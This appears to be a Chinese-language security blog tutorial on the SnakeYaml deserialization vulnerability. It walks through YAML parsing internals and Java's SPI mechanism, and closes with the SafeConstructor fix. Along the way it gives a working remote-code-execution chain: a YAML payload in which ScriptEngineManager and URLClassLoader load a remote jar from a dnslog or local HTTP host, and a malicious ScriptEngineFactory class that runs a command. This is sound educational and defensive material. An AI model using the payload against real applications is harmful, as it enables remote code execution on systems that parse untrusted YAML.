少女祈祷中...

SnakeYaml反序列化漏洞

​ SnakeYaml 是java解析yaml格式的组件库,将yaml格式的数据转为java对象称为反序列化,反过来就是序列化。

漏洞版本: 1.xx

Yaml介绍

特性

  • 大小写敏感
  • 使用缩进表示层级关系
  • 缩进不允许使用tab,只允许空格
  • 缩进的空格数不重要,只要相同层级的元素左对齐即可
  • ‘#’表示注释

YAML 支持以下几种数据类型:

  • 对象:键值对的集合,又称为映射(mapping)/ 哈希(hashes) / 字典(dictionary)
  • 数组:一组按次序排列的值,又称为序列(sequence) / 列表(list)
  • 纯量(scalars):单个的、不可再分的值,就是一些基本数据类型

SnakeYaml 解析的时候看到的数据类型名字是mapping(映射),sequence(序列),scalars(纯量),而不是对象和数组

在数据前添加 !!全类名 。表示强制转化数据类型。类似于fastjson中的 @type

SnakeYaml使用

导入依赖,springboot项目中自带依赖

<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

首先要new Yaml()
再用load,loads,dump,dumps(跟pickle序列化和反序列化一样)

示例

inputStream = new FileInputStream(filepath);
yaml = new Yaml();
// 使用文件输入流读取YAML文件
yamlMap = yaml.load(inputStream);

反序列化漏洞原理

原理

!!+全类名指定反序列化的类,反序列化过程中会实例化该类。snakeyaml 将全类名解析,并将类使用forname()进行加载,然后通过反射获取构造器,调用构造方法,控制适当的类的构造方法就能进行漏洞攻击

解析过程

下面是一些调试过程,方便理解是如何进解析的,可能大部分内容对于我们的漏洞毫无关系

!!! 值得注意的是这里调式的数据类型是数组,其他数据稍有不同

sequence类型反序列化过程调试代码:

public static void main(String[] args) {
String context = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://7c6yh7.dnslog.cn\"]]]]\n";
Yaml yaml = new Yaml();
yaml.load(context);
}

new Yaml()初始化:大概就是初始化一些构造器,和一些解析规则

load的过程:

1.初始化部分:

根据输入创建流,和传入Object.class,表示返回一个Object

进入loadFromReader

在ParserImpl中对sreader做了相关的处理映射;追进去看一下;利用重载拿到相关映射;

然后new Composer加载默认配置并解析开头和结尾的位置

2.解析节点

然后getSingleNode()将整个yaml数据解析成多个节点,,注意的是在解析节点过程中composeNode方法和composeSequenceNode方法(数据是Sequence类型)相互调用形成递归,这样就递归解析到每个节点。

最终解析完多重嵌套的数据


然后每一个节点的类型,或者是全类名加上默认的前缀,就是一个tag

然后进入constructDocument方法,再进入constructObject方法。这是因为yaml数据可能是多个部分

constructObject中会判断是否已经被解析,即在缓存hashmap是否已存在,然后继续构造

3.获取构造器和进行类加载

这里的构造器是SnakeYaml中设置的构造器,而不是我们设置的类构造器

构造器初始化:

getConstructor从节点node中获取构造器,首先会从yamlConstructors中获取构造器(new Yaml时候创建的),yamlConstructors里面是yaml中13中数据类型对应的构造器

很显然我们最外层的javax.script.ScriptEngineManager并不是基本的数据类型,就是返回默认的构造器,就是上面13个里面的null类型

然后是再检查缓存中是否有构造器,很显然是没有的,进入construct方法

有时候挺想吐槽,
再次调用getConstructor方法和construct方法。只不过这次getConstructor方法是Constructor类中的方法,跟上面的不同(BaseConstructor,细品)

在这个getConstructor方法中,他进行了类加载,并且重新设置了type

类加载:
从tag中去除前缀,拿到全类名,进入forName进行类加载,这里类加载进行了初始化,那么被加载的类中的静态代码块可以执行。从主线程拿到应用加载器进行加

最终还是从yamlClassConstructors中拿到的构造器。也就是Sequenced的构造器

4.反射构造

进入Sequence构造器的construct方法中。首先会获取类构造器

上面代码获取构造方法的大致流程:

  1. 获取全面的类构造器
  2. 循环遍历,拿到参数个数与node节点value个数相同的类构造方法(这里我们有一个元素的嵌套,相当于是有一个参数)
  3. 获取那些构造方法的参数类型与node的value同类型的构造方法 (参数类型是ClassLoader类加载器,刚好里面一层是URLClassLoader类加载器)
  4. 如果满足条件的有多个构造器,取第一个

根据我们的payload。会拿到这个方法。

上面过程中会对node的value递归调用constructorObject方法(最开始还没找到是这里递归了),这样就把payload从最里面的字符串构造出来后再回到上一层构造方法中。把参数列表构造出来了。

当不是递归时或者是最里层,会通过反射newInstance实例对象

上面过程可以看出SnakeYaml中会经常有递归。

上面最后调用的方法ScriptEngineManager(ClassLoader loader)涉及java中的SPI机制

mapping类型反序列化过程

mapping数据类型对应javaBean对象,大致跟上面相同,不同的是会同fastjson一样会调用setter方法。

调式过程就省略了,攻击链可以参考fastjson的

可以参考这位师傅的文章:Java SnakeYaml反序列化漏洞 | s1mple

SPI机制

SPI机制在其中的一条攻击链中利用到

介绍

SPI(Service Provider Interface),是JDK内置的一种 服务提供发现机制,可以用来启用框架扩展和替换组件,主要是被框架的开发人员使用,比如java.sql.Driver接口,其他不同厂商可以针对同一接口做出不同的实现,MySQL和PostgreSQL都有不同的实现提供给用户,而Java的SPI机制可以为某个接口寻找服务实现。Java中SPI机制主要思想是将装配的控制权移到程序之外,在模块化设计中这个机制尤其重要,其核心思想就是 解耦
SPI整体机制图如下:

当服务的提供者提供了一种接口的实现之后,需要在classpath下的META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。当其他的程序需要这个服务的时候,就可以通过查找这个jar包(一般都是以jar包做依赖)的META-INF/services/中的配置文件,配置文件中有接口的具体实现类名,可以根据这个类名进行加载实例化,就可以使用该服务了。JDK中查找服务的实现的工具类是:java.util.ServiceLoader

实现细节:程序会java.util.ServiceLoder动态装载实现模块,在META-INF/services目录下的配置文件寻找实现类的类名,通过Class.forName加载进来,newInstance()反射创建对象,并存到缓存和列表里面。

示例

我们现在需要使用一个内容搜索接口,搜索的实现可能是基于文件系统的搜索,也可能是基于数据库的搜索。

  • 先定义好接口

    public interface Search {
    public List<String> searchDoc(String keyword);
    }
  • 文件搜索实现

    public class FileSearch implements Search{
    @Override
    public List<String> searchDoc(String keyword) {
    System.out.println("文件搜索 "+keyword);
    return null;
    }
    }
  • 数据库搜索实现

    public class DatabaseSearch implements Search{
    @Override
    public List<String> searchDoc(String keyword) {
    System.out.println("数据搜索 "+keyword);
    return null;
    }
    }
  • resources 接下来可以在resources下新建META-INF/services/目录,然后新建接口全限定名的文件:com.cainiao.ys.spi.learn.Search,里面加上我们需要用到的实现类

    com.cainiao.ys.spi.learn.FileSearch
  • 测试方法

    public class TestCase {
    public static void main(String[] args) {
    ServiceLoader<Search> s = ServiceLoader.load(Search.class);
    Iterator<Search> iterator = s.iterator();
    while (iterator.hasNext()) {
    Search search = iterator.next();
    search.searchDoc("hello world");
    }
    }
    }

    可以看到输出结果:文件搜索 hello world
    如果在com.cainiao.ys.spi.learn.Search文件里写上两个实现类,那最后的输出结果就是两行了。
    这就是因为ServiceLoader.load(Search.class)在加载某接口时,会去META-INF/services下找接口的全限定名文件,再根据里面的内容加载相应的实现类。
    这就是spi的思想,接口的实现由provider实现,provider只用在提交的jar包里的META-INF/services下根据平台定义的接口新建文件,并添加进相应的实现类内容就好。

ScriptEngineManager类

这个类就是java调用其他编程语言的类,jdk6引入,默认自带javascript的引擎,使用SPI机制
ScriptEngineManager 类是 Java 中 javax.script 包中的一个类,它提供了一种标准的框架,用于在 Java 程序中执行脚本语言。这个框架的目标是让 Java 与其他脚本语言(如JavaScript、Python等)进行交互变得更加容易。

ScriptEngineManager攻击链

exp编写

我们上面的payload只是进行了dnslog进行漏洞验证,现在来编写exp和继续调式分析

思路:根据SPI机制,和ScriptEngineManger就是SPI机制的实现,那么exp就是SPI机制中的服务提供者,编写恶意类实现相关接口,并在META-INF目录下的services目录下创建相关接口名称的文件,写上我们的恶意类的全类名,最后开启一个http服务,放置我们恶意的jar包

进入上面最后的init方法中的initEngines方法中,可以看到ServiceLoad

那么加载的就是那些实现了ScriptEngineFactory接口的服务,那恶意类实现ScriptEngineFactory接口

新建项目
编写恶意类:

package com.yyjccc;

import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;

public class exp implements ScriptEngineFactory {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public String getEngineName() {
return null;
}

public String getEngineVersion() {
return null;
}

public List<String> getExtensions() {
return null;
}

public List<String> getMimeTypes() {
return null;
}

public List<String> getNames() {
return null;
}

public String getLanguageName() {
return null;
}

public String getLanguageVersion() {
return null;
}

public Object getParameter(String key) {
return null;
}

public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}

public String getOutputStatement(String toDisplay) {
return null;
}

public String getProgram(String... statements) {
return null;
}

public ScriptEngine getScriptEngine() {
return null;
}
}

编写对应文件,并使用maven进行打包生成jar 包,

在生成的jar包目录下使用python开启一个http服务


将payload改为

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:7788/exp.jar"]]]]

这里是利用URLClassLoader对jar包的远程加载功能,最后执行代码,成功弹出计算器


调试过程

SPI的特点就是查找所有的服务后封装到ServiceLoad,并使用迭代器进行类加载

省略前面查找服务的过程
在initEnages方法中,迭代器迭代所有查找到的服务

进入next方法中

继续进入next,再进入nextService中
这里就会根据类加载器,进行类加载,并实例化对象

这就是这条链子的终点,恶意类加载,最终rce

漏洞修复

其实该漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击
修复方案:加入new SafeConstructor()类进行过滤

public class main {
public static void main(String[] args) {

String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}

}

结果:

这只是SnakeYaml反序列化漏洞的一部分哦~

复习总结

这里只是简单介绍了SnakeYaml反序列化漏洞,不同的数据类型稍有不同,当数据为键值对时,会调用构造方法和setter方法。当数据是数组时候会调用构造方法,其中一条攻击链就是利用SPI机制来加载恶意类

续集:SnakeYaml反序列化漏洞攻击链,可暂时参考:SnakeYAML反序列化及可利用Gadget